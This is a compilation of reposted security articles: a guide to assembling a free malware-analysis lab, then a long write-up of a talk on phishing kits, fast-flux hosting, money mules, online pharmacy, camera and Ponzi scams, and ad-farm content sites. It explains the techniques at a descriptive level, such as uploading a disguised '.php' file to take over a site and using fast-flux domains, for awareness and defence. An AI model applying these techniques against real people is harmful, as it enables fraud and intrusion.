Your 5-Step Malware-Analysis Toolkit

From http://www.campustechnology.com By Lenny Zeltser

A LARGE NUMBER of computer intrusions involve some form of malicious software (malware), which finds its way to the victim’s workstation or to a server. When investigating the incident, the IT responder typically seeks to answer questions such as: What actions can the malware specimen perform on the system? How does it spread? How, if at all, does it maintain contact with the attacker? These questions can all be answered by analyzing the offending malware in a controlled environment.

A simple analysis toolkit, built from free and readily available software, can help you and your IT team develop the skills critical to responding to today’s security incidents. The steps below will help get you started. We’ll focus on malware analysis in a Windows environment, since that platform is particularly popular among malware authors.

Step 1: Allocate physical or virtual systems for the analysis lab

A common approach to examining malicious software involves infecting a system with the malware specimen and then using the appropriate monitoring tools to observe how it behaves. This requires a laboratory system you can infect without affecting your production environment.

The most popular and flexible way to set up such a lab system involves virtualization software, which allows you to use a single physical computer for hosting multiple virtual systems, each running a potentially different operating system. Free virtualization software options include:

• VMware Server
• Windows Virtual PC
• Microsoft Virtual Server
• VirtualBox

Running multiple virtual systems simultaneously on a single physical computer is useful for analyzing malware that seeks to interact with other systems, perhaps for leaking data, obtaining instructions from the attacker, or upgrading itself. Virtualization makes it easy to set up and use such systems without procuring numerous physical boxes.

Another useful feature of many virtualization tools is the ability to take instantaneous snapshots of the laboratory system. This way, you can record the state of the system before you infect it, and revert to the pristine environment with a click of a button at the end of your analysis.

If using virtualization software, install as much RAM into the physical system as you can, as the availability of memory is arguably the most important performance factor for virtualization tools. In addition, having a large hard drive will allow you to host many virtual machines, whose virtual file systems typically are stored as files on the physical system’s hard drive.

Take precautions to isolate the malware-analysis lab from the production network, to mitigate the risk that a malicious program will escape.

Because malware may detect that it’s running in a virtualized environment, some analysts prefer to rely on physical, rather than virtual, machines for implementing laboratory systems. Your old and unused PCs or servers can make excellent systems for your malware-analysis lab, which usually doesn’t need high-performing CPUs or highly redundant hardware components.

To allow malware to reach its full potential in the lab, laboratory systems typically are networked with each other. This helps you observe the malicious program’s network interactions. If using physical systems, you can connect them with each other using an inexpensive hub or a switch.

Step 2: Isolate laboratory systems from the production environment

You must take precautions to isolate the malware-analysis lab from the production network, to mitigate the risk that a malicious program will escape. You can separate the laboratory network from production using a firewall. Better yet, don’t connect laboratory and production networks at all, to avoid firewall configuration issues that might allow malware to bypass filtering restrictions.

If your laboratory network is strongly isolated, you can use removable media to bring tools and malware into the lab. It’s best to use write-once media, such as CDs, to prevent malicious software from escaping the lab’s confines by writing itself to a USB key. If using a USB key, which is more convenient than a CD, get a model that includes a physical write-protect switch.

Some malware-analysis scenarios benefit from the lab being connected to the internet. Avoid using the production network for such connectivity. If possible, provision a separate, and usually inexpensive, internet connection, perhaps by dedicating a DSL line to this purpose. Avoid keeping the lab connected to the internet all the time to minimize the chance of malware in your lab attacking someone else’s system on the internet.

If virtualizing your lab, be sure to keep up with security patches released by the virtualization-software vendor. Such software may have vulnerabilities that could allow malware to escape from the virtual system you infected and onto the physical host. Furthermore, don’t use the physical machine that’s hosting your virtualized lab for any other purpose.

Step 3: Install behavioral analysis tools

Before you’re ready to infect your laboratory system with the malware specimen, you need to install and activate the appropriate monitoring tools. Free utilities that will let you observe how Windows malware interacts with its environment include:

• File system and registry monitoring: Process Monitor and Capture BAT offer a powerful way to observe in
  real time how local processes read, write, or delete
  registry entries and files. These tools can help you
  understand how malware attempts to embed into the
  system upon infection.
• Process monitoring: Process Explorer and Process Hacker replace the built-in Windows Task Manager, helping
  you observe malicious processes, including local network
  ports they may attempt to open.
• Network monitoring:Wireshark and SmartSniff are
  network sniffers, which can observe laboratory network
  traffic for malicious communication attempts, such as
  DNS resolution requests, bot traffic, or downloads.
• Change detection: Regshot is a lightweight tool for comparing the system’s
  state before and after the infection, to highlight
  the key changes malware made to the file system and
  the registry.

Behavioral monitoring tools can give you a sense for the key capabilities of malicious software. For further details about its characteristics, you may need to roll up your sleeves and perform some code analysis.

Step 4: Install code-analysis tools

Examining the code that comprises the specimen helps uncover characteristics that may be difficult to obtain through behavioral analysis. In the case of a malicious executable, you rarely will have the luxury of access to the source code from which it was created. Fortunately, the following free tools can help you reverse compiled Windows executables:

• Disassembler and debugger: OllyDbg and IDA Pro Freeware can parse compiled Windows
  executables and, acting as disassemblers, display their
  code as Intel x86 assembly instructions. These tools
  also have debugging capabilities, which allow you to
  execute the most interesting parts of the malicious program
  slowly and under highly controlled conditions, so
  you can better understand the purpose of the code.
• Memory dumper: LordPE and OllyDump help obtain protected code located in the
  lab system’s memory and dump it to a file. This technique
  is particularly useful when analyzing packed executables,
  which are difficult to disassemble because
  they encode or encrypt their instructions, extracting
  them into RAM only during run-time.

Step 5: Utilize online analysis tools

To round off your malware-analysis toolkit, add to it some freely available online tools that may assist with the reverse engineering process. One category of such tools performs automated behavioral analysis of the executables you supply. These applications look similar at first glance, but use different technologies on the back end. Consider submitting your malware specimen to several of these sites; depending on the specimen, some sites will be more effective than others. Such tools include:

• Anubis
• CWSandbox
• Joebox
• Norman SandBox
• ThreatExpert

Another set of potentially useful online tools provides details about websites that are suspected of hosting malicious code. Some of these tools examine the sites you specify in real time; others provide historical information. Consider submitting a suspicious URL to several of these sites, because each may offer a slightly different perspective on the website in question:

• Real-time threat assessment: Finjan URL Analysis, McAfee Site
  Advisor, and Wepawet
• Historical reputation data: Norton Safe Web
  and WOT (Web of Trust)

Next Steps

With your initial toolkit assembled, start experimenting in the lab with malware you come across on the web, in your e-mail box, on your systems, and so on. You may find this one-page cheat sheet convenient.

Begin analysis with the tools and approaches most familiar to you. Then, as you become more familiar with the inner workings of the malware specimen, venture out of your comfort zone to try other tools and techniques. The tools I’ve listed within each step operate virtually identically. Since they’re all free, you should feel free to try them all. You’ll find that one tool will work better than another, depending on the situation. And with time, patience, and practice, you will learn to turn malware inside out.

The Many Evil Ways to Make Money Online

From http://www.consumingexperience.com/

Currently, the main evil ways people make money off the Internet (i.e. take money from innocent you & me!) are:

1. Phishing – impersonating bank web sites in order to steal people’s banking details
2. Selling pharmaceuticals online – Viagra, of course; selling prescription drugs to people who don’t have a prescription
3. Selling cameras etc online – they take your money by Western Union, you never see the goods
4. “High yield investment programs” – the pyramid or Ponzi scheme gone online, effectively
5. Getting people to write content for them unpaid, off which they get Google Ads income – this may in fact be perfectly legal, depending on how it’s done.

Exploiting free bandwidth offers to sell internet porn was the best evil way to make money 10 years ago, but that only nets about $10 at a time. Phishing is much more profitable now, and although it’s illegal it seems phishers don’t get caught. Gentle hint: if you do decide to go into internet pron, you’ll earn more from pics of naked people than naked aardvarks!

1. Phishing

Phishing‘s been around since 1996, when people would phish for AOL details (login & password) so they could get online for free using someone else’s AOL account rather than pay ISP fees.

From 2003, bad guys have been phishing for banking website login details or other credentials by impersonating banking websites and persuading people to enter their login information in forms on the fake sites, which the baddies then capture and use to take money from the duped people’s accounts.

Phishing is mostly done through using basic standard “cookie cutter” phishing kits to send people phishing emails in order to persuade them to click links to go to the forged sites. There’s an exception, drive by phishing, where malware gets onto your computer, spots when you next go banking online and captures your keystrokes (keylogging software) or sends you to some other site when you think you’re going to your banking website – but that’s a rarity.

Usually they send people emails with scare stories like “Your bank account is about to be closed down, you must login at once, here’s the link”. And of course the link leads to their fake site, not the real bank site. In fact the most successful phishing Dr Clayton’s team have seen in the last few months hasn’t been “Your bank account is about to be closed” but “This is the IRS, we’ve been reviewing your taxes and you have a refund of $93.16 due to you, please visit our website” – and the supposed repayment will be by credit card so they have to enter their name, social security number and credit card details including the 3 digits on the back! (They tried that with HMRC-lookalike pages too but weren’t so successful as they asked for a zipcode instead of postcode on the phishing form..)

The phishers are getting more careful and more culturally aware. In the USA phishing attacks for credit union debit card details operate in very localised areas; they spam the local university or local ISP with phishing emails about that credit union, using cookie cutter kits. And phishing emails about NatWest, Nationwide etc are being sent to the UK, while emails about Italian banks are sent to .it email addresses. They’re beginning to understand that sending stuff all over the world doesn’t work very well (except for .com), and sending the spam is a major cost for them so they’re better off being more targeted in their approach. But the relationship between the numbers of spam and the numbers of phishing sites is still not understood.

If you ever decide to visit phishing site out of curiosity, do ensure your virus checker is up to date etc. Most of them fairly safe but one or two of them 1 or 2 try to upload malware to your computer too…

Phishing kits and the underground economy

Most phishers use phishing kits, their own or bought – it’s hard to monetise kits as they’re quite easy to write, so creators undercut each other, offering 3 kits for $30 etc. “Mr-Brain” even gave kits away for free but, if you check the underlying php code, they arranged for a copy of the credentials to be sent to them too, which of course is why they gave them away: the security industry knew this but it recently came out on a blog so now no one will use Mr-Brain anymore, which has annoyed law enforcement officers who were exploiting Mr-Brain kits for tracking and will now have to get on top of the new kits.

On the underground economy you can buy information on compromised machines, phishing kits etc. Phishers will keep the high value cards, and sell the rest – usually for 50% of what the buyer gets (the underground economy operates on trust, a person’s “good name” is important – if you rip someone off, they won’t deal with you again). $10 is a lot of money in Romania, so it’s worth their while selling credentials for just $10. The Times last year got hold of 30 account details including an assistant judge’s in Newcastle – because they were posing as a new buyer so someone gave them 30 for free to check the merchandise and if it was good they’d be expected to go back and buy the rest of the batch. The judge didn’t even know his details had been taken.

All of this is done on IRC; law enforcement don’t close down the channels as they’d just be put straight back up again, and they can also monitor them. Plus, most of them are hosted in places where it would be difficult to take them down. Some IRC networks are hooked up to merchant accounts so that peoplle can check if credit card numbers are “good” are not (of course, the person running the list gets a copy of the number too!).

Use of domain names

At first the phishers used lookalike domain names for their fake sites, e.g. “barqlays.com”. Then they realised that as long as the bank’s name was somewhere in the URL (web address), most non-geeks would think it was the bank’s own site and wouldn’t know that e.g. “www.barclays.com.extrasecure.com” or “www.aardvark.com/~fred/wwwbarclays.com/phishingwebsite.html” weren’t in fact Barclays sites.

Now if they used “barclays” within a domain name, Barclays would go to the domain registrar and get the domain and get it transferred to them or removed for trademark infringement (on trademark risks for UK websites, see this post). Or if they used yahoo.com/~fred/barclays etc, the bank would get the site’s system administrator to remove that particular account or sub-site (obviously it’s not a good idea to try to get the domain name “yahoo.com” expunged!).

So what’s known as the Rock Phish gang (sometimes spelt Rockfish, which is behind about half of all phishing and is thought to be the Russian mafia!) started setting up innocuous-seeming domains which don’t infringe existing trademarks, notably “Lof80.info”.They’d use that domain name for impersonations of perhaps 20 banking websites (Barclays, Bank of America, Fifth Third Bank etc), with URLs such as www.barclays.com.lof80.info/barclaysphishing/whatever – but they’d cleverly make the bits at the end of the URL look like what you normally see when you login to the real bank site.

Imp note for non-techies: the domain name for a site, e.g. “mydomainname.com”, is separate from the computer where the files for the site are stored or hosted, i.e. the files which people see when their web browser downloads those files. You buy your domain name from a domain registrar, then you choose where to store or host the files for the domain (it doesn’t have to be where you bought the domain from). With a web address like “yahoo.com/~fred/phishing” the files are in fact stored under Yahoo’s domain name, but on a sub-part of their computer servers. You can change the storage location of the files associated with a domain name, as long as you change things behind the scenes so that the domain name “points” to the files at their new location. (For Blogger users: how to use your own custom domain but hosting your blog files on Google’s Blogger / Blogspot servers). So, in this context, banks can try to get the domain name cancelled so the phishers can’t use it anymore, or else they can get whoever is hosting the phishers’ files to pull the plug and delete their account or delete their phishing files – the domain name and file storage are separate things, strictly.

In other words, when fighting phishers basically banks can either try to remove domain names, or try to get the files removed, or both.

Hosting / storage of the phishing files

Phishers needn’t store the phishing website files on their own servers, and often they don’t – they can just hack into someone else’s website and use that. They needn’t compromise the whole machine, just one user’s account, e.g. someone with a blog running WordPress (which has had some big security vulnerabilities, see more on WordPress security issues or just a couple of them!), or an insecure photo site that’s not been updated for a while, where they can just break in, upload a photo with .php at the end, run the php and get in, and then put a phishing site on there.

They also used sites that provide free web space like Alice.it. They can register a name with the free host, like “bankname.alice.it”, and then put a phishing site on that webspace, and those sites tend not to take down phishing webpages very quickly. Yahoo free sites used to be quite popular with phishers but now their take down time is 20 minutes, the average takedown time being 23.8 hours because Yahoo don’t always get told about the phishing site immediately.

Dr Clayton has a graph from May 2007 showing that alice.it basically took down those phishing sites at once, only after 3 weeks of banks complaining – they’d basically been debating what to do for the 3 weeks! (Imp note: see this post about the alice.it story.)

From Prof Clayton’s research, on average in spring 2007 phishing websites stayed up for 62 hrs. However, Rock-phish domains stayed up for 95 hrs, because it’s harder to get domain names removed than it is to get a sysadmin to delete files or an account from their site where the files are kept on a third party website.

Domain registrars who’ve never encountered phishing sites before usually have no clue for about 3 weeks. E.g. last spring when phishers moved to using .hk as their favoured top level domain (moving over from .com and .info), the local police asked the domain registrar not to remove them in order to preserve the evidence (though efforts to trace them weren’t successful as they used cutouts or went through botnets or Tor). Banks asked them to remove the phishing sites, and they eventually did.

The RockPhish gang have been getting their domains to resolve to 5 or 10 IP addresses (or computers) in parallel, changing to a different 5 or 10 IP addresses every 20 minutes or so. In other words, if you try to go to that domain in your browser, it will take you to one of 5 or 10 different physical machines hooked up to the internet, and those machines would be different ones every 20 minutes. This technique’s known as fast flux.

Once they started using fastflux, it became pretty much impossible to physically locate the phishing website – they were using other people’s compromised machines just to relay people back to their “mother ship.” At first no one understood what they were doing, and their phishing sites’ uptime went up to 196 hrs. So the baddies have been very technically innovative, to avoid being taken down.

Not only did they keep changing their name servers in order to point to changing new IP addresses, but they’ve now started putting those name servers themselves on other lof80.info-style domains they’d bought, and arranged for those to work on fast-flux too – known as double fastflux or double-flux! Everything moves around at high speed, so, like in the shell game, it’s hard to tell where anything is.

It’s difficult enough to get a registrar to remove a domain name on the basis that it’s used only for phishing, imagine trying to get them to remove a domain name that’s only used to provide name services for a domain which is only used for phishing.

Imp note: see the paper on phishing website removal times etc, An Empirical Analysis of the Current State of Phishing Attack and Defence, by Tyler Moore and Richard Clayton. See also Phishing and the economics of e-crime by Tyler Moore which also goes into the mechanics of phishing, the Rockphish attacks, and fast-flux domains.

Moving the money – money mules, and the role of geeks

Dr Clayton is also interested in how the phishing “industry” works. It’s easy to compromise sites and send out spam. As with kidnapping, the hardest bit is arranging to receive the money without getting traced or caught.

Even after phishers get hold of bank account or credit card details etc, they must still be able to move the money in quantity at speed. If they move money to their account from 30 other accounts, the banks have programs that spot this sort of thing and move it back!

So what they do is to advertise for people to “Work from home! 2 hours a day” etc, people who have their own bank account and are regularly on the internet, to work as a “payment processor” for “The Sydney Car Centre” and the like. These people are known as “money mules“. Money goes into the mule’s legitimate personal bank account, and they send it out to the phishers over Western Union. When the fraud is discovered, the bank will move the money back from the mule’s account – but the mule can’t get it back from Western Union, so not only are they out of pocket, but they risk police accusations that they must have known fraud was involved, as they were getting say 10% just for moving money around. Despite Western Union warning people not to send money to strangers, it seems some people are still fooled, saying they’re not strangers they’re my employer, look here’s my contract of employment signed by the managing director!

SOCA have realised that there are other ways to make criminal activity unattractive than prosecuting people, and if they do prosecute they need to target the right people. Taking out Mr Big is no good as a lieutenant just takes over, and catching low level mules isn’t either as they’re expendable and know very little anyway. So SOCA now concentrate on taking out the people who know how to launder money, set up a phishing site, build a spam sending engine or viruses for a botnet. This is more effective as Mr Big can’t operate without his geeks.

Measuring phishing – tracking the figures

The server logs of phishing sites (except the Rock Phish ones) are often world readable, so researchers can get a list of their most visited pages from Webalizer, and it’s interesting to see a site which has had no traffic for months spike with everyone visiting the page bankofamerica.html! Dr Clayton checks the “Thank you” page (which redirects to the real bank’s own pages) as it tells how many people visited the site and gave their details (the phishers are very polite and send people to a “thankyou” page after they’ve filled in the form). Some sites also leave gathered credentials lying around on a file on the machine called e.g. results.txt so researchers can review them.

From this research it seems about half of the people who’ve filled in their details on phishing sites have email addresses along the lins of “diespammerdie” so about half haven’t been fooled and have deliberately filled in the wrong details. Recently he came across what seemed to be a valid American Express credit card but it was said to be registered to a Fred West of 25 Cromwell Street! And he’s seen an address in the USA which was supposed to be 45 Vagina Avenue!

It’s possible to construct a mathematical model that suggests that about 15-20% of banks’ losses are through phishing rather than keyloggers, malware or skimmers on the fronts of cash machines. Everyone concentrates on phishing but no one seems to have done any research on keyloggers, who can keep enjoying a field day!

Issues and problems with banking websites

Different banks use different security methods. But most of them tend to copy each other.

Using the mouse. Clicking a letter or number of your password from a drop down list or rotating keyboard etc (as per Lloyds TSB‘s site) no longer works. It’s good against keyloggers, i.e. malware planted secretly on your computer which records keystrokes, exactly which keys you’ve pressed in what order – but these days malware will take a “snapshot” of the pixels, the area of the screen, around where you click, and then send the pic to the bad guys.

1st and 3rd characters from your password etc. Most phishers get round this by pretending it’s an emergency so you have to enter all the details, i.e. your full password. Also tests have shown that generally people get confused if they’re not asked for the characters in the “right” order (e.g. characters 7, 9 and 3 instead of 3, 7 and 9) (Imp note: although I think First Direct, and certainly ING Direct, don’t ask for them in numerical order). In fact after about 9 tries it’s possible to capture all the information anyway, with a keylogger. Banks set up their systems that way because they were more worried about shoulder surfing than keyloggers, so the systems are vulnerable to keylogger attack. It’s a question of the threat model: if they had engineered things another way keyloggers may have struggled but it would have been easier for shoulder surfers to steal banking details.

Find the face. Looking for a face or picture that you chose when you originally signed up (as per Bank of America‘s site) is supposed to confirm that you’re on the correct banking site, not a fake site.

But the bad guys can social engineer around that. They can email you and say, very sorry the main system is down as we’ve had a break-in, please would you confirm your data immediately so we can check that the data we recovered for you is accurate – and then provide a helpful link to the alternative site. Some people will accept that explanation, go to the fake site which doesn’t show any face (the system’s down isn’t it, so of course they can’t show the usual face), and dutifully enter all their details. There’s a story, who knows if it’s true or not, that an Australian bank had a huge DOS attack which took its site offline for a few days – during which a phishing attack was launched against it (or rather its customers) asking customers to visit an “emergency server”! It’s not known whether the phishing was in response to its real site being offline, or had been planned to coincide with it.

Also, the “put up a face” method doesn’t work against “man in the middle” attacks where the bad guys intercept what’s passing between you and the banking website, although such attacks are less common as they’re much harder to set up and get to work properly with phishing kits. In fact, generally almost none of the methods will work against man in middle attacks. (Imp note: another example of man in the middle.)

However, fortunately MITM attacks are not very common, there’s only a handful of them because they’re more complicated to set up. It doesn’t work very well to just compromise a random machine and try to arrange for it to work properly with a kit, you have to be very geeky to do it successfully. Most phishers use kits and none of kits do man in middle, which is why they’re not very popular.

But as mentioned they don’t need MITM. None of the security techniques will work if the phishers can produce a plausible explanation for why the security mechanism is not working. That will help them persuade the cleverer people that it’s different today for some reason, but most people won’t even notice the fact that it’s not working.

Issues with security indicators; and is your personality a factor?

Most academic research indicates that the security indicators or authentication are immaterial – no one takes any notice because they’re just concentrating on going to the bank website, even if there was something flashing red in the corner “This is dangerous don’t go here”, they won’t pay any attention because they’re focussed on logo.

A paper The Emperor’s New Security Indicators (Imp note: Symantec summary) reported on lab experiments with people which showed that, apart from physically stopping you from going to the site (which IE7 does), nothing works; even with Internet Explorer 7 you can click on one line of text to go to the site.

When explaining to someone how they’d know if a webpage is secure, it’s too difficult to explain how URLs work, how the web works, what precautions they should take to prevent malware on their computer or ADSL router, the way they should use passwords etc – so the normal explanation is “Look for the lock icon”, because that’s easy. In fact it should be “Look for the lock icon at the bottom right in the grey bar, not in the page”, but that’s not true for IE7 where it’s at the top!

Paypal works on the basis that “It’s OK because it’s green”. But a security vulnerability enables people to produce extra floating windows and put them over the browser address bar, and they could easily make their background green.

Dr Clayton used to say, hover the mouse over the link and check the address that comes up at the bottom, as there used to be tricks with very long URLs with spaces etc because they didn’t wrap properly, or tricks with @ in the URL e.g. www.barclays.com@aardvark.com (which so concerned Microsoft that they stopped it working, although it still works in a handful of ftp phishing sites). However, the hovering tip doesn’t work because of a frame bug in both IE and Firefox. If a frame doesn’t terminate properly, the browser tries to guess what it should show for the URL. The code that decides what to show when hovering over a link shows a common field, but the code for deciding where to go when you clicked the link shows another field, so it doesn’t work – when you hover over a link it might show microsoft.com, but when you click it it may take you to aardvark.com!

So there’s a big problem with explaining security to people – the problem with rules of thumb is they can be got round, and if the bad guys work out a way round them, then you’re toast because you think it’s safe when it’s not.

Dr Clayton is hoping to conduct some research this year on whether security mechanisms (which don’t work very well anyway) work better with some people than others; are there gender differences, so that mechanisms that work well for women differ for those which work well for men? If you score people on an autism / techie scale, might more autistic types work better with indicators, do certain personality types just ignore indicators when more picky people would check the lock icon?

There’s also very little research on people who may be more susceptible to social engineering or fraud. Banks, eBay etc have told Dr Clayton that they do see the same people getting suckered in time and time again.

So why aren’t banks’ security measures as good as they could be?

A couple years back, British banks lost £33 million through phishing. One bank alone lost £31 million of that, not because they were attacked more often but because they were poorer at defending (it was Barclays – who then rushed around introducing new security measures, as a result of which in the following year total British bank phishing losses were reduced to £26 million; so at least all the banks can can say they’re better than average, except for one bank!).

But for a bank, £30 million isn’t much money. To issue SecurID tokens to all its customers would cost a major bank £50 to £100 million, so it could actually take 2 or 3 years of phishing losses before it was financially worth it for it to do that.

Banks’ policies and procedures compound the problem. One attendee’s address wouldn’t validate on the form she submitted, so the bank sent her an email saying there was a problem verifying her details, please would she email back with the correct details! She wrote back to point out they were reinforcing phishing by legitimately asking for details, and why couldn’t they have say asked her to login to her account to correct her details there? Another stupid thing – one bank which shall remain nameless decided it would be a good idea to offer free webmail for all its customers – using the bank’s own domain name! Talk about helping phishers to masquerade as bank employees etc…

Also, the legal position doesn’t sufficiently incentivise banks to take better security precautions. Dr Clayton thinks we should move to a position where the banks are responsible for phishing losses. If someone forges your signature on your cheque and the bank pays out against it, it’s the bank’s problem since the 1882 Bills of Exchange Act, which is why banks concentrate on cheque fraud – because it’s their money.

But with things electronic, customers’ only protection is the UK Banking Code, which says banks will repay them if they’ve not been fraudulent. In practice the bank will argue with you and you’ll get your money back you’re if male, white, middle class and articulate! One of Dr Clayton’s colleagues Ross Anderson, who testifies in court cases on computer security, has noted a disproportionate number of cases that end up with him, where the system hasn’t worked so experts have had to be brought in to explain the position etc, appear to be not white middle class men. There seems to be some bias in the system, and Dr Clayton thinks it’s because it’s just the Banking Code (which banks voluntarily agree to), rather than a statute making it clear that the banks have to repay the money.

If the position was such that it was the bank’s money, if they were to bear the loss should they accept instructions to move money which didn’t in fact come from you in circumstances where they couldn’t prove fraud on your part, then Dr Clayton believes there would be a sea change in banks’ approach and how careful they are. At the moment many people working for banks do try to be careful, but the pressure just isn’t on banks in the right way, and things need to be changed in order to get the senior managers to care.

Why do the banks appear to try anyway? It’s reputational. None of the security indicators work, it’s all theater to persuade customers that banking sites are secure, because the really horrible thing for banks isn’t how much money they’re losing (the amounts are peanuts as far as banks are concerned), but whether people will stop trusting them. Currently about 60% of the population do their banking online; if people suddenly lost confidence and decided they didn’t want to do internet banking anymore, the banks would have to pay expensively to buy back all those trendy wine bars to turn them back into branches, and hire employees to staff them, which would cost them a lot more.

Facebook and other social networking sites

Concern was expressed about social networking sites and the like which ask you to enter your Gmail or other webmail login and password after you sign up witht them, so they can invite your friends or pull in their contact details etc.

An uncrupulous operator could easily set up a legitimate-sounding site just to phish details like that, even though it doesn’t seem to have happened yet (Imp note: I refused to give my Gmail details to Facebook, myself. They make it hard if not impossible to enter individual contacts manually (or through copy/paste or the like), I assume precisely because they want to put pressure on you to give in your webmail details and let them spam all your contacts!)

There’s another specific risk with Facebook. You know all those Facebook apps that let you throw sheep at people, send them kisses etc? Most of these apps are now created by third parties who have nothing to do with Facebook. If baddies create a compelling enough Facebook app that people will want to install (games etc), once you install that app it (and the people behind it) will then be able to access everything that Facebook knows about you. Because for Facebook apps the basic model is – “Let the application access everything that Facebook knows about me”? Yes or No. Period. (Imp note: incidentally this explains Facebook privacy settings well, see also How to prevent Facebook applications from spamming your mini-feed; and for anyone interested, you should soon be able to get out of Facebook’s Hotel California, at least if you’re in the UK).

So you might want to be very selective about installing Facebook apps!

eBay

eBay runs on trust and 99% of the time it works. But it’s not a good idea to buy flatscreen TVs off Ebay without looking hard at the seller’s feedback! People phish Ebay to get hold of high value accounts with good feedback, especially where it’s blurred whether it’s as buyer or seller. So you might find someone who used to buy and sell tea cosies for years suddenly having flat screen TVs and laptops to sell. Someone in California bought and sold Ferraris, and he got very good feedback until he sold the same car to 40 people in parallel. When he tried run away they caught him within 3 days..

Educating the public about scams and social engineering

People fall for scams because they don’t understand how they work. But educating people will never fix social engineering. People have been conning others for hundreds of years, and people have been falling for it. The notorious Kevin Mitnick was not some uber hacker but very good at social engineering, getting people to do things – see his book The Art of Deception (Amazon: The Art of Deception: Controlling the Human Element of Security). E.g. to break into a telephone company he needed a SecurID number, so he rang the company, said he was a telephone engineer up a pole in Kansas in a blizzard and he’d left his SecurID by his bed 20 miles away. They said it’s OK the manager has one for emergencies, and got it from the drawer and read the number out to him over the phone!

People do that because they’re helpful. Some other scams involved ringing up a switchboard and getting the name of someone in the corporation, then ringing that person up and saying “Hi I’m from HR I’m new here”, and they’d say “Oh you must work for X”, and then he’d ring up the next person and say “I’m X from HR” and just keep building on it. The only hacking thing he did was to go into their reception so that phone number on their caller ID would be internal.

The only way to stop someone from social engineering your company is to make all receptionists very unhelpful and rude to everyone and never tell them anything. Of course, some UK companies already along those lines! But seriously, it’s very difficult to protect a company from social engineering.

Educating the public is good (and Egg used to run late night ads explaining some Net scams), but it has significant limitations. It may seem an obvious scam that an African dictator has $17m to give you, but the web is full of fake banks, eg the “Nation Buildingwide Bank”, which have been set up solely to help fool the “marks“, who are given login details. They can login to check a supposed bank account to which “their” money has been transferred, though if they try to transfer it out it will say sorry can’t do that because you’ve not paid X fee, etc. But you can in fact login to these “banks” and see the “money” sitting there!

These scams are called 419 scams after section 419 of the Nigerian code because people believe they came out of Nigeria. [Imp note: in fact earlier this year three West Africans were convicted of 419 scams in New York.] These scams are actually a variation on the “Spanish prisoner” scam which dates back to the 1600s! In the 17th century conmen would wander aroud England talking about a nobleman locked up in a castle in Spain. Naturally, he had lots of money, and the conman would say he was trying to raise money to form a group of mercenaries to rescue the nobleman, and when he was rescued he would be very grateful and reward everyone who contributed to his rescue – so would you like to cough up please?

It worked in the 1600s, it works today – social engineering will be almost impossible to get rid of. Banks must be made to concentrate, by changing the liability laws, and equally they must rely on the fact that most would be bad guys try to do “cookie cutter” stuff, they move money in the same way, and it’s possible to pick up the patterns, see what’s going on and then stop it in order to reduce these losses.

2. Selling pills online

The pharmaceuticals sold online from the “better” pill sites are in fact real, e.g. sleeping tablets, because these sites are mainly selling to addicts who can’t get the drugs off their doctors anymore, and if what they are sent doesn’t work they won’t buy from that site again. In business it’s easier to sell more things to existing customers than go find new customers, so that’s what these sites do and that’s why they are still around. They still send spam email etc to find new customers, but they keep selling to old customers.

The take down period for pill sites is usually months. Some of them are also on fast flux networks so the only way to remove them is to remove the domain name, and it’s very hard to get registrars to understand that the name is only being used to host a Canadian pharmacy which is illegal under the laws of X, Y etc.

3. Selling cameras etc online

These sites are often run out of China. They tempt people with cameras etc at bargain prices e.g. Nikon D70S with lens for 150 euros! Some of them are quite plausible in that the offered prices are quite close to the going rate. They even have chat facilities on their sites where punters can ask about the products etc.

But they say they don’t take credit cards, you have to send the money to them by Western Union to order the goods. And of course, that’s the last you see of your money and you never get the goods. The admonition to never send money by Western Union to “strangers” seems not to work on people intent on a discount, particularly if they’ve chatted with the site concerned so they don’t think they’re “strangers”!

4. “High yield investment” programs – make money fast!!

Pyramid schemes or Ponzi schemes are common in the real world, e.g. about 2 years ago there was “Women helping Women” run from the Isle of Wight in the UK. And about 10 years back most of the economy of Albania was involved in a Ponzi scheme, before it collapsed.

These schemes work very well for the perpetrators. They offer to pay people a few percent on their investment – that’s a few % per day – but of course they pay those who invested earlier from the money they get from those who join later. And they can do this over the internet.

It seems everyone who takes part knows it’s a Ponzi scheme but they’re still getting their few per cent. a day and if it runs for another 50 days or so they’ll make their money back – so in a sense you could say it’s not really a Ponzi scheme, but gambling. Punters are gambling that the scheme will do well enough to get them their “investment” back and maybe more. Dr Clayton calls them “post-modern Ponzi schemes” because everyone who plays, at least earlier on, knows it’s gambling!

These schemes are very common, especially in Russia, as kits are readily available for about £50. A recent search on a particular phrase turned up 12,000 schemes. However in the UK it’s illegal to run pyramid schemes.

Those who set up these schemes will buy domain names and hosting at the start, run the scheme for 20 days or so before collecting the money then moving on to buy another domain name, etc. Some of them go as far as to buy https certificates for their website security!

There are even reputation services which provide statistics (independent or depending on bribes from scheme owners!) on which schemes are paying out ad worth investing in.

5. Google Ads – the red-blooded American Privila way…

Getting an AdSense account then putting Google Ads on your website is another way to make money online. But to make more than a minimal amount of money, you need to write a very interesting page (e.g. Markus Kuhn‘s page on A4 paper is the most popular page on the Cambridge University Computer Laboratory security group’s site), or else arrange to be high up in the search results.

Now a mob called Privila sent Dr Clayton spam asking him to link to them (more links to them improve how much they get per ad click). So he investigated them. They have a clever technique for, how shall I put this, “leveraging” Google Ads in order to make money. (Imp note: before anyone asks why I’m seemingly helping them out with the link in the first sentence, note the rel=nofollow!)

Privila’s business model is to buy up existing domain names that have expired, paying attention to links in to those domains, their ranking with Google etc. They then get people to create content that fits the domain name, e.g. kitchencabinetswisconsin.com (kitchen cabinets!) or theaccidents.com (car accidents) etc, and they fill those pages with advertisements.

Here’s the extra cunning thing – Privila get people to write content for them for free, by advertising for (unpaid) “interns”, e.g. recent graduates from university, journalism courses etc. Interns are given assignments like 3 articles a week, which are posted on the Web under their bylines, the attraction for them being that they can supposedly build up their CVs to show to potential employers. A great way to get people to work for you for free and make money off their content from Google Ads at the same time! (Whether the writers can write well or know anything about the diverse random subjects they’re asked to write on, e.g. computer security, is another matter…)

Dr Clayton’s team built a model of this, and found that Privila have about 300 or 400 domains, and about 100-150 writing for them as “interns”. (UPDATE Imp note: for more by Dr Clayton’s team on Privila, from Light Blue Touchpaper see this and this.)

Although some might think this sort of thing was rather evil because it could be seen as exploitative, it’s at the legal end of the spectrum, and indeed is probably very all American.

A very illuminating talk, indeed. I wish I’d had the chance to ask questions there. I’d like to know things like:

• Why is it expensive for phishers to send spam? I thought email was pretty much free…
• How do the phishers avoid being tracked down through their domain name purchases?

Malware that operates as a Firefox extension

Here’s a good overview of malware that operates as a Firefox extension. The PDF is by Symantec via Lenny Zeltser.

Man-in-the-middle attacks demoed on 4 smartphones

